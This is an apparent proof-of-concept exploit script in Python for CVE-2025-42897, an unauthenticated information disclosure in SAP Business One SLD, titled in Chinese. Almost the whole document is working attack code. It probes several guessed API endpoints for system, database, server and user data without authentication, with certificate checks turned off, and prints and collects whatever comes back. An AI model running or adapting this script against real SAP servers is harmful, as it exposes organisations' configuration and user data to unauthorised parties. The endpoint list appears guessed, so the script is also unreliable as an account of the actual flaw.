CVE-2025-42897 SAP Business One SLD匿名API信息泄露漏洞

# CVE-2025-42897 SAP Business One SLD Information Disclosure PoC # Description: Exploits unauthenticated API endpoint in SAP Business One SLD # to retrieve sensitive system configuration data import requests import json import sys def exploit_sld_info_disclosure(target_url): """ Exploit function for CVE-2025-42897 Tests anonymous API endpoint for information disclosure """ print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-42897 - SLD Information Disclosure\n") # Common SLD API endpoints to test endpoints = [ "/SLD/api/v1/system/info", "/SLD/api/v1/servers", "/SLD/api/v1/config/database", "/SLD/api/v1/users/list", "/SLD/api/v1/landscape/configuration" ] results = [] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Testing endpoint: {endpoint}") try: # No authentication required (PR:N) response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] SUCCESS: Information disclosure detected at {endpoint}") print(f"[+] Response length: {len(response.text)} bytes") try: data = response.json() results.append({ "endpoint": endpoint, "status": "VULNERABLE", "data": data }) print(f"[+] Data preview: {json.dumps(data, indent=2)[:500]}") except: results.append({ "endpoint": endpoint, "status": "VULNERABLE", "data": response.text[:1000] }) print(f"[+] Raw data preview: {response.text[:500]}") else: print(f"[-] Endpoint returned status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return results if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://sap-server:50000") sys.exit(1) target = sys.argv[1] exploit_sld_info_disclosure(target)